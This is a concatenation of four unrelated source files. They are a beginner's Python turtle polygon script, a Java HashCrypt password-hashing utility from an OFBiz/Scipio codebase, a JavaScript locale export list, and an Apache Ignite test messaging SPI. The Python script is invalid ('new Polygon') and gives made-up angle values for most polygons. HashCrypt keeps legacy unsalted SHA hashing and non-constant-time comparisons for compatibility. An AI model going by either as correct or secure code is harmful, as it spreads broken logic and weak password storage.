    def __init__(self, sides, internal_angles_sum, internal_angle):
        self.sides = sides
        self.internal_angles_sum = internal_angles_sum
        self.internal_angle = internal_angle

# calculate the total internal angles, and the angles within
# a regular version of the polygon
def calc_polygon_details(sides):

    internal_angles_sum = 0
    internal_angles = 0

    # TODO: find a better way to work this stuff out
    if sides == 3:
        internal_angles_sum = 180
        internal_angles = 60
    elif sides == 4:
        internal_angles_sum = 360
        internal_angles = 90
    else:
        internal_angles_sum = 1000
        internal_angles = 200

    poly = new Polygon(sides, internal_angles_sum, internal_angles)
    print(poly)

    # return a dictionary containing info about the polygon
    # TODO: perhaps I should use the class Polygon instead!
    return {"sides": sides,
            "internal_angles_sum": internal_angles_sum,
            "internal_angles": internal_angles}

# draws a polygon using the turtle
def draw_polygon(polygon_details):

    # set up the screen and turtle
    scr = turtle.Screen()
    t = turtle.Turtle()
    t.pen(pencolor="red", pensize=2, fillcolor="green")

    length_of_edge = 50

    # TODO: make this work for any type of polygon
    for i in range(0, 6):
        t.forward(length_of_edge)
        t.right(60)

sides = int(input("How many sides does your polygon have?: "))

polygon_details = calc_polygon_details(sides)

print("    Sides:", polygon_details["sides"])
print("    Internal angles sum:", polygon_details["internal_angles_sum"])
print("    Internal angles:", polygon_details["internal_angles"])

draw = input("Would you like me to draw it? (Y/n): ")

if draw == "" or draw.lower() == "y":
    draw_polygon(polygon_details)


text:
package org.ofbiz.base.crypto;

import java.io.UnsupportedEncodingException;
import java.nio.charset.Charset;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.security.spec.InvalidKeySpecException;

import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;

import org.apache.commons.codec.binary.Base64;
import org.apache.commons.codec.binary.Hex;
import org.apache.commons.lang3.RandomStringUtils;
import org.ofbiz.base.util.Debug;
import org.ofbiz.base.util.GeneralRuntimeException;
import org.ofbiz.base.util.StringUtil;
import org.ofbiz.base.util.UtilIO;
import org.ofbiz.base.util.UtilProperties;
import org.ofbiz.base.util.UtilValidate;

/**
 * Utility class for doing SHA-1/PBKDF2 One-Way Hash Encryption
 *
 */
public class HashCrypt {

    private static final Debug.OfbizLogger module = Debug.getOfbizLogger(java.lang.invoke.MethodHandles.lookup().lookupClass());
    public static final String CRYPT_CHAR_SET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789./";

    private static final String PBKDF2_SHA1 ="PBKDF2-SHA1";
    private static final String PBKDF2_SHA256 ="PBKDF2-SHA256";
    private static final String PBKDF2_SHA384 ="PBKDF2-SHA384";
    private static final String PBKDF2_SHA512 ="PBKDF2-SHA512";
    private static final int PBKDF2_ITERATIONS = UtilProperties.getPropertyAsInteger("security.properties", "password.encrypt.pbkdf2.iterations", 10000);

    private static Boolean systemCharsetUtf8 = null; // SCIPIO

    public static MessageDigest getMessageDigest(String type) {
        try {
            return MessageDigest.getInstance(type);
        } catch (NoSuchAlgorithmException e) {
            throw new GeneralRuntimeException("Could not load digestor(" + type + ")", e);
        }
    }

    /**
     * comparePassword.
     *

     * SCIPIO: 2018-09-13: Modified so that doCompareTypePrefix and doCompareBare cases
     * now check using platform-independent UTF-8 in String->byte[] conversion first, with compatibility fallback on system charset
     * for legacy records. New records should always be byte-encoded in explicit UTF-8 (see {@link #cryptUTF8(String, String, String)},
     * {@link #digestHash(String, String, String)}), but Scipio maintains support for checking older-type
     * password hashes created before this time.
     */
    public static boolean comparePassword(String crypted, String defaultCrypt, String password) {
        if (crypted.startsWith("{PBKDF2")) {
            return doComparePbkdf2(crypted, password);
        } else if (crypted.startsWith("{")) {
            // SCIPIO: 2018-09-13: Check with UTF-8 first, then fallback to system charset (for backward-compat)
            if (doCompareTypePrefix(crypted, defaultCrypt, password.getBytes(UtilIO.getUtf8()))) {
                return true;
            } else if (isSystemCharsetUtf8()) {
                return false;
            } else {
                // SCIPIO: Fallback on system charset - NOTE: this is the old stock code
                return doCompareTypePrefix(crypted, defaultCrypt, password.getBytes()); // SCIPIO: DEV NOTE: DO NOT ADD UTF-8 HERE!
            }
        } else if (crypted.startsWith("$")) {
            return doComparePosix(crypted, defaultCrypt, password.getBytes(UtilIO.getUtf8()));
        } else {
            // SCIPIO: 2018-09-13: Check with UTF-8 first, then fallback to system charset (for backward-compat)
            if (doCompareBare(crypted, defaultCrypt, password.getBytes(UtilIO.getUtf8()))) {
                return true;
            } else if (isSystemCharsetUtf8()) {
                return false;
            } else {
                // SCIPIO: Fallback on system charset - NOTE: this is the old stock code
                return doCompareBare(crypted, defaultCrypt, password.getBytes()); // SCIPIO: DEV NOTE: DO NOT ADD UTF-8 HERE!
            }
        }
    }

    private static boolean isSystemCharsetUtf8() { // SCIPIO: avoid rechecking this more than once/twice in beginning
        if (systemCharsetUtf8 == null) {
            systemCharsetUtf8 = UtilIO.getUtf8().equals(Charset.defaultCharset());
        }
        return systemCharsetUtf8;
    }

    private static boolean doCompareTypePrefix(String crypted, String defaultCrypt, byte[] bytes) {
        int typeEnd = crypted.indexOf("}");
        String hashType = crypted.substring(1, typeEnd);
        String hashed = crypted.substring(typeEnd + 1);
        MessageDigest messagedigest = getMessageDigest(hashType);
        messagedigest.update(bytes);
        byte[] digestBytes = messagedigest.digest();
        char[] digestChars = Hex.encodeHex(digestBytes);
        String checkCrypted = new String(digestChars);
        if (hashed.equals(checkCrypted)) {
            return true;
        }
        // This next block should be removed when all {prefix}oldFunnyHex are fixed.
        if (hashed.equals(oldFunnyHex(digestBytes))) {
            Debug.logWarning("Warning: detected oldFunnyHex password prefixed with a hashType; this is not valid, please update the value in the database with ({%s}%s)", module, hashType, checkCrypted);
            return true;
        }
        return false;
    }

    private static boolean doComparePosix(String crypted, String defaultCrypt, byte[] bytes) {
        int typeEnd = crypted.indexOf("$", 1);
        int saltEnd = crypted.indexOf("$", typeEnd + 1);
        String hashType = crypted.substring(1, typeEnd);
        String salt = crypted.substring(typeEnd + 1, saltEnd);
        String hashed = crypted.substring(saltEnd + 1);
        return hashed.equals(getCryptedBytes(hashType, salt, bytes));
    }

    private static boolean doCompareBare(String crypted, String defaultCrypt, byte[] bytes) {
        String hashType = defaultCrypt;
        String hashed = crypted;
        MessageDigest messagedigest = getMessageDigest(hashType);
        messagedigest.update(bytes);
        return hashed.equals(oldFunnyHex(messagedigest.digest()));
    }

    /*
     * @deprecated use cryptBytes(hashType, salt, password); eventually, use
     * cryptUTF8(hashType, salt, password) after all existing installs are
     * salt-based.  If the call-site of cryptPassword is just used to create a *new*
     * value, then you can switch to cryptUTF8 directly.
     */
    @Deprecated
    public static String cryptPassword(String hashType, String salt, String password) {
        if (hashType.startsWith("PBKDF2")) {
            return password != null ? pbkdf2HashCrypt(hashType, salt, password) : null;
        }
        // FIXME: should have been getBytes("UTF-8") originally
        return password != null ? cryptBytes(hashType, salt, password.getBytes()) : null; // SCIPIO: DEV NOTE: DO NOT ADD UTF-8 HERE!
    }

    public static String cryptUTF8(String hashType, String salt, String value) {
        if (hashType.startsWith("PBKDF2")) {
            return value != null ? pbkdf2HashCrypt(hashType, salt, value) : null;
        }
        return value != null ? cryptBytes(hashType, salt, value.getBytes(UtilIO.getUtf8())) : null;
    }

    /**
     * cryptValue.
     *

     * SCIPIO: WARNING: 2018-09-13: This method has been altered to
     * use explicit UTF-8 (instead of old behavior to use system charset) in the passed string->byte[] conversion,
     * so that it is consistent with {@link #cryptUTF8(String, String, String)} as used
     * in LoginServices. A compatibility workaround for client systems that
     * did not use UTF-8 as default system charset and already had records is now integrated into the
     * {@link #comparePassword(String, String, String)} method.
     */
    public static String cryptValue(String hashType, String salt, String value) {
        if (hashType.startsWith("PBKDF2")) {
            return value != null ? pbkdf2HashCrypt(hashType, salt, value) : null;
        }
        // SCIPIO: 2018-09-13: UtilIO.getUtf8()
        //return value != null ? cryptBytes(hashType, salt, value.getBytes()) : null;
        return value != null ? cryptBytes(hashType, salt, value.getBytes(UtilIO.getUtf8())) : null;
    }

    /**
     * cryptBytes.
     *

     * SCIPIO: WARN: FIXME?: This currently does not respond to PBKDF2 hashType,
     * so you must use the {@link #cryptUTF8(String, String, String)} for PBKDF2
     * support for the time being.
     */
    public static String cryptBytes(String hashType, String salt, byte[] bytes) {
        if (hashType == null) {
            hashType = "SHA";
        }
        if (salt == null) {
            salt = RandomStringUtils.random(new SecureRandom().nextInt(15) + 1, CRYPT_CHAR_SET);
        }
        StringBuilder sb = new StringBuilder();
        sb.append("$").append(hashType).append("$").append(salt).append("$");
        sb.append(getCryptedBytes(hashType, salt, bytes));
        return sb.toString();
    }

    private static String getCryptedBytes(String hashType, String salt, byte[] bytes) {
        try {
            MessageDigest messagedigest = MessageDigest.getInstance(hashType);
            messagedigest.update(salt.getBytes(UtilIO.getUtf8()));
            messagedigest.update(bytes);
            return Base64.encodeBase64URLSafeString(messagedigest.digest()).replace('+', '.');
        } catch (NoSuchAlgorithmException e) {
            throw new GeneralRuntimeException("Error while comparing password", e);
        }
    }

    /**
     * pbkdf2HashCrypt.
     *

     * SCIPIO: 2018-09-13: WARN: If you have salt already as byte array, call
     * {@link #pbkdf2HashCrypt(String, byte[], String)} instead.
     */
    public static String pbkdf2HashCrypt(String hashType, String salt, String value){
        return pbkdf2HashCrypt(hashType, (salt != null) ? salt.getBytes(UtilIO.getUtf8()) : (byte[]) null, value);
    }

    /**
     * SCIPIO: pbkdf2HashCrypt overload that takes a byte array for the salt instead of string.
     *

     * Added 2018-09-13.
     */
    public static String pbkdf2HashCrypt(String hashType, byte[] salt, String value){
        char[] chars = value.toCharArray();
        if (salt == null || salt.length == 0) {
            salt = getSalt();
        }
        try {
            PBEKeySpec spec = new PBEKeySpec(chars, salt, PBKDF2_ITERATIONS, 64 * 4);
            SecretKeyFactory skf = SecretKeyFactory.getInstance(hashType);
            byte[] hash = Base64.encodeBase64(skf.generateSecret(spec).getEncoded());
            String pbkdf2Type = null;
            switch (hashType) {
                case "PBKDF2WithHmacSHA1":
                    pbkdf2Type = PBKDF2_SHA1;
                    break;
                case "PBKDF2WithHmacSHA256":
                    pbkdf2Type = PBKDF2_SHA256;
                    break;
                case "PBKDF2WithHmacSHA384":
                    pbkdf2Type = PBKDF2_SHA384;
                    break;
                case "PBKDF2WithHmacSHA512":
                    pbkdf2Type = PBKDF2_SHA512;
                    break;
                default:
                    pbkdf2Type = PBKDF2_SHA1;
            }
            StringBuilder sb = new StringBuilder();
            sb.append("{").append(pbkdf2Type).append("}");
            sb.append(PBKDF2_ITERATIONS).append("$");
            sb.append(org.ofbiz.base.util.Base64.base64EncodeToString(salt)).append("$"); // SCIPIO: base64EncodeToString
            sb.append(new String(hash, UtilIO.getUtf8())); // SCIPIO: UtilIO.getUtf8() (cosmetic only - base64 char range)
            return sb.toString();
        } catch (InvalidKeySpecException e) {
            throw new GeneralRuntimeException("Error while creating SecretKey", e);
        } catch (NoSuchAlgorithmException e) {
            throw new GeneralRuntimeException("Error while computing SecretKeyFactory", e);
        }
    }

    public static boolean doComparePbkdf2(String crypted, String password){
        try {
            int typeEnd = crypted.indexOf("}");
            String hashType = crypted.substring(1, typeEnd);
            String[] parts = crypted.split("\\$");
            int iterations = Integer.parseInt(parts[0].substring(typeEnd+1));
            // SCIPIO: 2018-09-13: This is ridiculous
            //byte[] salt = org.ofbiz.base.util.Base64.base64Decode(parts[1]).getBytes(UtilIO.getUtf8());
            byte[] salt = org.ofbiz.base.util.Base64.base64DecodeToBytes(parts[1]);
            byte[] hash = Base64.decodeBase64(parts[2].getBytes(UtilIO.getUtf8()));

            PBEKeySpec spec = new PBEKeySpec(password.toCharArray(), salt, iterations, hash.length * 8);
            switch (hashType.substring(hashType.indexOf("-")+1)) {
                case "SHA256":
                    hashType = "PBKDF2WithHmacSHA256";
                    break;
                case "SHA384":
                    hashType = "PBKDF2WithHmacSHA384";
                    break;
                case "SHA512":
                    hashType = "PBKDF2WithHmacSHA512";
                    break;
                default:
                    hashType = "PBKDF2WithHmacSHA1";
            }
            SecretKeyFactory skf = SecretKeyFactory.getInstance(hashType);
            byte[] testHash = skf.generateSecret(spec).getEncoded();
            int diff = hash.length ^ testHash.length;

            for (int i = 0; i < hash.length && i < testHash.length; i++) {
                diff |= hash[i] ^ testHash[i];
            }

            return diff == 0;
        } catch (NoSuchAlgorithmException e) {
            throw new GeneralRuntimeException("Error while computing SecretKeyFactory", e);
        } catch (InvalidKeySpecException e) {
            throw new GeneralRuntimeException("Error while creating SecretKey", e);
        }
    }

    /**
     * Creates a salt.
     *

     * SCIPIO: 2018-09-13: Modified to return byte array to avoid intermediate string representation.
     */
    private static byte[] getSalt() {
        try {
            SecureRandom sr = SecureRandom.getInstance("SHA1PRNG");
            byte[] salt = new byte[16];
            sr.nextBytes(salt);
            // SCIPIO: 2019-09-13: This was invalid, avoid conversion
            //return Arrays.toString(salt);
            return salt;
        } catch (NoSuchAlgorithmException e) {
            throw new GeneralRuntimeException("Error while creating salt", e);
        }
    }

    /**
     * @deprecated use digestHash("SHA", null, str)
     */
    @Deprecated
    public static String getDigestHash(String str) {
        // SCIPIO: 2018-09-13: This method may still be called from UserEvents.xml,
        // so must not use hardcode hash type!
        //return digestHash("SHA", null, str);
        return digestHash(getPasswordEncryptHashType(), null, str);
    }

    /**
     * @deprecated use digestHash(hashType, null, str))
     */
    @Deprecated
    public static String getDigestHash(String str, String hashType) {
        return digestHash(hashType, null, str);
    }

    /**
     * @deprecated use digestHash(hashType, code, str);
     */
    @Deprecated
    public static String getDigestHash(String str, String code, String hashType) {
        return digestHash(hashType, code, str);
    }

    /**
     * digestHash, with input as string.
     *

     * SCIPIO: WARNING: 2018-09-13: This method has been altered to
     * use explicit UTF-8 (instead of old behavior to use system charset) in the passed string->byte[] conversion,
     * so that it is consistent with {@link #cryptUTF8(String, String, String)} as used
     * in LoginServices. A compatibility workaround for client systems that
     * did not use UTF-8 as default system charset and already had records is now integrated into the
     * {@link #comparePassword(String, String, String)} method.
     */
    public static String digestHash(String hashType, String code, String str) {
        if (str == null) {
            return null;
        }
        byte[] codeBytes;
        try {
            if (code == null) {
                // SCIPIO: 2018-09-13: UtilIO.getUtf8()
                //codeBytes = str.getBytes();
                codeBytes = str.getBytes(UtilIO.getUtf8());
            } else {
                codeBytes = str.getBytes(code);
            }
        } catch (UnsupportedEncodingException e) {
            throw new GeneralRuntimeException("Error while computing hash of type " + hashType, e);
        }
        return digestHash(hashType, codeBytes);
    }

    public static String digestHash(String hashType, byte[] bytes) {
        try {
            MessageDigest messagedigest = MessageDigest.getInstance(hashType);
            messagedigest.update(bytes);
            byte[] digestBytes = messagedigest.digest();
            char[] digestChars = Hex.encodeHex(digestBytes);

            StringBuilder sb = new StringBuilder();
            sb.append("{").append(hashType).append("}");
            sb.append(digestChars, 0, digestChars.length);
            return sb.toString();
        } catch (NoSuchAlgorithmException e) {
            throw new GeneralRuntimeException("Error while computing hash of type " + hashType, e);
        }
    }

    public static String digestHash64(String hashType, byte[] bytes) {
        if (hashType == null) {
            hashType = "SHA";
        }
        try {
            MessageDigest messagedigest = MessageDigest.getInstance(hashType);
            messagedigest.update(bytes);
            byte[] digestBytes = messagedigest.digest();

            StringBuilder sb = new StringBuilder();
            sb.append("{").append(hashType).append("}");
            sb.append(Base64.encodeBase64URLSafeString(digestBytes).replace('+', '.'));
            return sb.toString();
        } catch (NoSuchAlgorithmException e) {
            throw new GeneralRuntimeException("Error while computing hash of type " + hashType, e);
        }
    }

    /**
     * @deprecated use cryptPassword
     */
    @Deprecated
    public static String getHashTypeFromPrefix(String hashString) {
        if (UtilValidate.isEmpty(hashString) || hashString.charAt(0) != '{') {
            return null;
        }

        return hashString.substring(1, hashString.indexOf('}'));
    }

    /**
     * @deprecated use cryptPassword
     */
    @Deprecated
    public static String removeHashTypePrefix(String hashString) {
        if (UtilValidate.isEmpty(hashString) || hashString.charAt(0) != '{') {
            return hashString;
        }

        return hashString.substring(hashString.indexOf('}') + 1);
    }

    /**
     * @deprecated use digestHashOldFunnyHex(hashType, str)
     */
    @Deprecated
    public static String getDigestHashOldFunnyHexEncode(String str, String hashType) {
        return digestHashOldFunnyHex(hashType, str);
    }

    /**
     * digestHashOldFunnyHex.
     * @deprecated SCIPIO: This method should not called by anything other than
     * org.ofbiz.entity.util.EntityCrypto#OldFunnyHashStorageHandler, and
     * it encrypts using the system charset, which is not necessarily UTF-8.
     */
    @Deprecated
    public static String digestHashOldFunnyHex(String hashType, String str) {
        return digestHashOldFunnyHex(hashType, null, str);
    }

    /**
     * digestHashOldFunnyHex.
     *

     * SCIPIO: WARNING: This method is intended only for
     * org.ofbiz.entity.util.EntityCrypto#OldFunnyHashStorageHandler
     * and its use anywhere else is unsupported. If code is null, the system
     * charset is used, which is not necessarily UTF-8.
     */
    public static String digestHashOldFunnyHex(String hashType, Charset code, String str) {
        if (UtilValidate.isEmpty(hashType)) {
            hashType = "SHA";
        }
        if (str == null) {
            return null;
        }
        try {
            MessageDigest messagedigest = MessageDigest.getInstance(hashType);
            // SCIPIO: 2018-09-13: use requested charset
            byte[] strBytes = (code != null) ? str.getBytes(code) : str.getBytes(); // SCIPIO: DEV NOTE: DO NOT ADD UTF-8 HERE!

            messagedigest.update(strBytes);
            return oldFunnyHex(messagedigest.digest());
        } catch (Exception e) {
            Debug.logError(e, "Error while computing hash of type " + hashType, module);
        }
        return str;
    }

    // This next block should be removed when all {prefix}oldFunnyHex are fixed.
    private static String oldFunnyHex(byte[] bytes) {
        int k = 0;
        char[] digestChars = new char[bytes.length * 2];
        for (byte b : bytes) {
            int i1 = b;

            if (i1 < 0) {
                i1 = 127 + i1 * -1;
            }
            StringUtil.encodeInt(i1, k, digestChars);
            k += 2;
        }
        return new String(digestChars);
    }

    /**
     * SCIPIO: Gets the system-configured hash type to use.
     *

     * Moved here from {@link org.ofbiz.common.login.LoginServices#getHashType()} (2018-09-13).
     */
    public static String getPasswordEncryptHashType() {
        String hashType = UtilProperties.getPropertyValue("security", "password.encrypt.hash.type");

        if (UtilValidate.isEmpty(hashType)) {
            Debug.logWarning("Password encrypt hash type is not specified in security.properties, use SHA", module);
            hashType = "SHA";
        }

        return hashType;
    }
}


text:
export { default as af } from './af/index.js'
export { default as arSA } from './ar-SA/index.js'
export { default as bn } from './bn/index.js'
export { default as de } from './de/index.js'
export { default as el } from './el/index.js'
export { default as enCA } from './en-CA/index.js'
export { default as enGB } from './en-GB/index.js'
export { default as enUS } from './en-US/index.js'
export { default as eo } from './eo/index.js'
export { default as es } from './es/index.js'
export { default as et } from './et/index.js'
export { default as fr } from './fr/index.js'
export { default as gl } from './gl/index.js'
export { default as he } from './he/index.js'
export { default as hu } from './hu/index.js'
export { default as it } from './it/index.js'
export { default as ja } from './ja/index.js'
export { default as lt } from './lt/index.js'
export { default as nb } from './nb/index.js'
export { default as nl } from './nl/index.js'
export { default as pt } from './pt/index.js'
export { default as ptBR } from './pt-BR/index.js'
export { default as ru } from './ru/index.js'
export { default as sv } from './sv/index.js'
export { default as uk } from './uk/index.js'
export { default as vi } from './vi/index.js'
export { default as zhCN } from './zh-CN/index.js'


text:
package org.apache.ignite.internal;

import java.util.ArrayList;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import org.apache.ignite.IgniteException;
import org.apache.ignite.cluster.ClusterNode;
import org.apache.ignite.internal.managers.communication.GridIoMessage;
import org.apache.ignite.internal.util.typedef.T2;
import org.apache.ignite.lang.IgniteInClosure;
import org.apache.ignite.lang.IgnitePredicate;
import org.apache.ignite.plugin.extensions.communication.Message;
import org.apache.ignite.spi.IgniteSpiException;
import org.apache.ignite.spi.communication.tcp.TcpCommunicationSpi;
import org.jetbrains.annotations.Nullable;

import static org.apache.ignite.internal.IgniteNodeAttributes.ATTR_GRID_NAME;

/**
 *
 */
public class TestRecordingCommunicationSpi extends TcpCommunicationSpi {
    /** */
    private Class<?> recordCls;

    /** */
    private List<Object> recordedMsgs = new ArrayList<>();

    /** */
    private List<T2<ClusterNode, GridIoMessage>> blockedMsgs = new ArrayList<>();

    /** */
    private Map<Class<?>, Set<String>> blockCls = new HashMap<>();

    /** */
    private IgnitePredicate<GridIoMessage> blockP;

    /** {@inheritDoc} */
    @Override public void sendMessage(ClusterNode node, Message msg, IgniteInClosure<IgniteException> ackC)
        throws IgniteSpiException {
        if (msg instanceof GridIoMessage) {
            GridIoMessage ioMsg = (GridIoMessage)msg;

            Object msg0 = ioMsg.message();

            synchronized (this) {
                if (recordCls != null && msg0.getClass().equals(recordCls))
                    recordedMsgs.add(msg0);

                boolean block = false;

                if (blockP != null && blockP.apply(ioMsg))
                    block = true;
                else {
                    Set<String> blockNodes = blockCls.get(msg0.getClass());

                    if (blockNodes != null) {
                        String nodeName = (String)node.attributes().get(ATTR_GRID_NAME);

                        block = blockNodes.contains(nodeName);
                    }
                }

                if (block) {
                    blockedMsgs.add(new T2<>(node, ioMsg));

                    return;
                }
            }
        }

        super.sendMessage(node, msg, ackC);
    }

    /**
     * @param recordCls Message class to record.
     */
    public void record(@Nullable Class<?> recordCls) {
        synchronized (this) {
            this.recordCls = recordCls;
        }
    }

    /**
     * @return Recorded messages.
     */
    public List<Object> recordedMessages() {
        synchronized (this) {
            List<Object> msgs = recordedMsgs;

            recordedMsgs = new ArrayList<>();

            return msgs;
        }
    }

    /**
     * @param blockP Message block predicate.
     */
    public void blockMessages(IgnitePredicate<GridIoMessage> blockP) {
        synchronized (this) {
            this.blockP = blockP;
        }
    }

    /**
     * @param cls Message class.
     * @param nodeName Node name.
     */
    public void blockMessages(Class<?> cls, String nodeName) {
        synchronized (this) {
            Set<String> set = blockCls.get(cls);

            if (set == null) {
                set = new HashSet<>();

                blockCls.put(cls, set);
            }

            set.add(nodeName);
        }
    }

    /**
     * Stops block messages and sends all already blocked messages.
     */
    public void stopBlock() {
        synchronized (this) {
            blockCls.clear();

            for (T2<ClusterNode, GridIoMessage> msg : blockedMsgs)
                super.sendMessage(msg.get1(), msg.get2());

            blockedMsgs.clear();
        }
    }
}